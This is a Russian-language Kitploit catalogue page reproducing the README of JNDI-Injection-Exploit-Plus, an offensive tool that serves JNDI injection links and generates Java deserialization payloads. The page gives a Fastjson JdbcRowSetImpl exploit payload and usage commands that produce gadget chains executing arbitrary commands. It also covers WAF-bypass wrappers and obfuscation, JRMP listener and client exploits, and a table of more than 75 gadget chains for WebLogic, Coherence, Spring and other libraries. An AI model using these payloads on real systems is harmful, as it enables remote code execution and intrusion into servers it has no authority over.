Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
JNDI-Injection-Exploit-Plus — Генерирует рабочие ссылки JNDI-инъекции и полезные нагрузки десериализации с более чем 80 гаджетами, поддерживая серверы RMI, LDAP и HTTP для автоматизированного тестирования уязвимостей. | Kitploit
Инструменты/GitHubGitHub/cckuailong/jndi-injection-exploit-plus
Фреймворки для эксплойтовАнализ уязвимостейЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubcckuailong/jndi-injection-exploit-plus

JNDI-Injection-Exploit-Plus

Генерирует рабочие ссылки JNDI-инъекции и полезные нагрузки десериализации с более чем 80 гаджетами, поддерживая серверы RMI, LDAP и HTTP для автоматизированного тестирования уязвимостей.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
8801142 лет назадПроверено Kitploit

JNDI-Injection-Exploit-Plus

中文 README

Описание

JNDI-Injection-Exploit-Plus — это инструмент для генерации рабочих JNDI-ссылок и предоставления фоновых сервисов путём запуска RMI-сервера, LDAP-сервера и HTTP-сервера.

С помощью этого инструмента вы можете получить JNDI-ссылки и вставить их в свой POC для проверки уязвимости.

Например, это Fastjson-эксплоит:

root@kitploit:~
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

Мы можем заменить "rmi://127.0.0.1:1099/Object" на ссылку, сгенерированную JNDI-Injection-Exploit-Plus, чтобы проверить уязвимость.

Более того, вы также можете использовать JNDI-Injection-Exploit-Plus для генерации полезных нагрузок в формате base64/hex, как в ysoserial.

Больше, чем JNDI-Injection-Exploit

JNDI-Injection-Exploit — отличный инструмент, это его расширенная версия.

Что ещё добавлено

1. Больше удалённых JNDI-гаджетов (всего: 3)

  • Поддержка JDK 6/7/8

2. Больше локальных JNDI-гаджетов (всего: 4)

3. Гаджеты десериализации (всего: 75)

P.S. Гаджетов больше ( ⬆️ ), чем в ysoserial. Приветствуются PR с новыми! ^_^

4. Генерация и экспорт полезных нагрузок

Как в ysoserial.

Вы можете создавать полезные нагрузки десериализации с выводом в формате Base64 или HEX.

5. Обёртки

Некоторые обёртки для упаковки данных десериализации.

ОбёрткаПримеры уязвимостей
XstreamCVE-2021-39149
ApereoApereo 4.1 Deserialization RCE
  • Пример
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Слияние

Сокрытие имени класса для обхода WAF.

  • Пример
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

Ссылка: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Веб-сервис для возврата десериализационных гаджетов

root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
root@kitploit:~
POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

P.S. Параметры wrapper и output необязательны.

Использование

JNDI-ссылки

Запуск:

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

Где:

  • -C — команда, выполняемая в удалённом class-файле.

    (необязательно, по умолчанию "open /Applications/Calculator.app")

  • -A — адрес вашего сервера, может быть IP-адресом или доменом.

    (необязательно, по умолчанию адрес первого сетевого интерфейса)

Обратите внимание:

  • Убедитесь, что порты вашего сервера (1099, 1389, 8180) доступны.

    Или вы можете изменить порты по умолчанию в классе run.ServerStart.

  • Ваша команда передаётся в Runtime.getRuntime().exec() в качестве параметров,

    поэтому убедитесь, что ваша команда работоспособна внутри метода exec().

    Команды в стиле bash, например "bash -c ....", необходимо заключать в двойные кавычки.

Полезные нагрузки десериализации

Запуск:

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]

Где:

  • -C — команда, выполняемая в удалённом class-файле.

    (необязательно, по умолчанию "open /Applications/Calculator.app")

  • -D — имя полезной нагрузки десериализационного гаджета.

  • -O — (необязательно) тип вывода десериализации, по умолчанию base64

Эксплоиты десериализации

JRMP

  • JRMPListener
root@kitploit:~
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
  • JRMPClient
root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

Примеры

JNDI-ссылки

Локальная демонстрация:

  1. Запустите инструмент следующим образом:

    root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
    

    Скриншот:

  2. Предположим, мы внедряем JNDI-ссылку, например rmi://ADDRESS/remoteExploit8, сгенерированную на шаге 1, в уязвимое приложение, которое можно атаковать с помощью JNDI-инъекции.

    В этом примере это выглядит так:

    root@kitploit:~
    class Test{
        public static void main(String[] args) throws Exception{
            InitialContext ctx = new InitialContext();
            ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
        }
    }
    

    После запуска этого кода команда выполнится,

    а в консоли будет выведен лог:

Другие примеры: Test-JNDI-Injection-Exploit-Plus

Полезные нагрузки десериализации

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Результат в формате Base64:

Установка

Вы можете выбрать один из двух способов получения jar-файла.

  1. Скачайте последний jar из Релизов.

  2. Клонируйте исходный код локально и соберите (требуется Java 1.8+ и Maven 3.x+).

    root@kitploit:~
    $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
    
    root@kitploit:~
    $ cd JNDI-Injection-Exploit-Plus
    
    root@kitploit:~
    $ mvn clean package -DskipTests
    

P.S. ‼️ Если вы получили ошибку вида "java.rmi.xxx does not exists", установите переменную окружения JAVA_HOME.

Отказ от ответственности

Вся информация и код предоставляются исключительно в образовательных целях и/или для тестирования ваших собственных систем на наличие этих уязвимостей.

Скачать инструмент
Полезная нагрузкаАвторЗависимости
Tomcat 8+ или SpringBoot@welk1ntrustURLCodebase равен false, но в classpath есть Tomcat 8+ или SpringBoot 1.2.x+
Groovy (GroovyClassLoader)@cckuailongtrustURLCodebase равен false, но в classpath есть Tomcat и Groovy
Groovy (GroovyShell)@cckuailongtrustURLCodebase равен false, но в classpath есть Tomcat и Groovy
Websphere Readfile@cckuailongtrustURLCodebase равен false, но в classpath есть WebSphere v6-v9
Полезная нагрузкаАвторЗависимости
AspectJWeaver@Jangaspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1@pwntester, @cschneider4711bsh:2.0b5
C3P0@mbechlerc3p0:0.9.5.2, mchange-commons-java:0.2.11
C3P0Tomcat@yulegeyutomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11
Click1@artsploitclick-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure@JackOfMostTradesclojure:1.8.0
Coherence1 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence2 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence3 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence4 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence5 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence6 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
CommonsBeanutils1@frohoffcommons-beanutils:1.9.2
CommonsBeanutils2 ⬆️@cckuailongcommons-beanutils:1.9.2
CommonsCollections1@frohoffcommons-collections:3.1
CommonsCollections1_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections2@frohoffcommons-collections4:4.0
CommonsCollections2_1 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections3@frohoffcommons-collections:3.1
CommonsCollections3_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections4@frohoffcommons-collections4:4.0
CommonsCollections5@matthias_kaiser, @jasinnercommons-collections:3.1
CommonsCollections5_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6@matthias_kaisercommons-collections:3.1
CommonsCollections6_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_2 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_3 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections7@scristalli, @hanyrax, @EdoardoVignaticommons-collections:3.1
CommonsCollections7_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections8 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections9 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections10 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections11 ⬆️@cckuailongcommons-collections:3.1
FileUpload1@mbechlercommons-fileupload:1.3.1, commons-io:2.4
Groovy1@frohoffgroovy:2.3.9
Hibernate1@mbechler
Hibernate2@mbechler
Jackson ⬆️@y4ercom.fasterxml.jackson.core:jackson-databind:2.14.2
JBossInterceptors1@matthias_kaiserjavassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21@frohoff
JRMPClient1@mbechler
JRMPClient2 ⬆️@cckuailong
JRMPClient3 ⬆️@cckuailong
JRMPClient4 ⬆️@cckuailong
JRMPClient5 ⬆️@cckuailong
JRMPClient6 ⬆️@cckuailong
JRMPListener1@cckuailong
JSON1@mbechlerjson-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1@matthias_kaiserjavassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jython1@pwntester, @cschneider4711jython-standalone:2.5.2
MozillaRhino1@matthias_kaiserjs:1.7R2
MozillaRhino2@_tint0js:1.7R2
Myfaces1@mbechler
Myfaces2@mbechler
ROME1@mbechlerrome:1.0
ROME2 ⬆️@firebaskyrome:1.0
Scala1 ⬆️@jarijorg.scala-lang:scala-library:2.13.x
Spring1@frohoffspring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2@mbechlerspring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 ⬆️@cckuailongspring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS@geblтолько обнаружение уязвимости JRE
Vaadin1@kai_ullrichvaadin-server:7.7.14, vaadin-shared:7.7.14
Weblogic1 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic2 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic3 ⬆️@cckuailongcom.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
Weblogic4 ⬆️@cckuailongweblogic.common.internal.WLObjectOutputStream
Weblogic5 ⬆️@cckuailongweblogic:12.2.1.4, coherence
Weblogic6 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic7 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic8 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic9 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic10 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic11 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Wicket1@jacob-baineswicket-util:6.23.0, slf4j-api:1.6.4
WildFly1 ⬆️@hugoworg.wildfly:wildfly-connector:26.0.1.Final
JbossRemotingДесериализация через порт Jboss Remoting
GzipНекоторые интерфейсы yonyou используют Gzip
DirtyВставка большого количества «грязных» данных для обхода WAF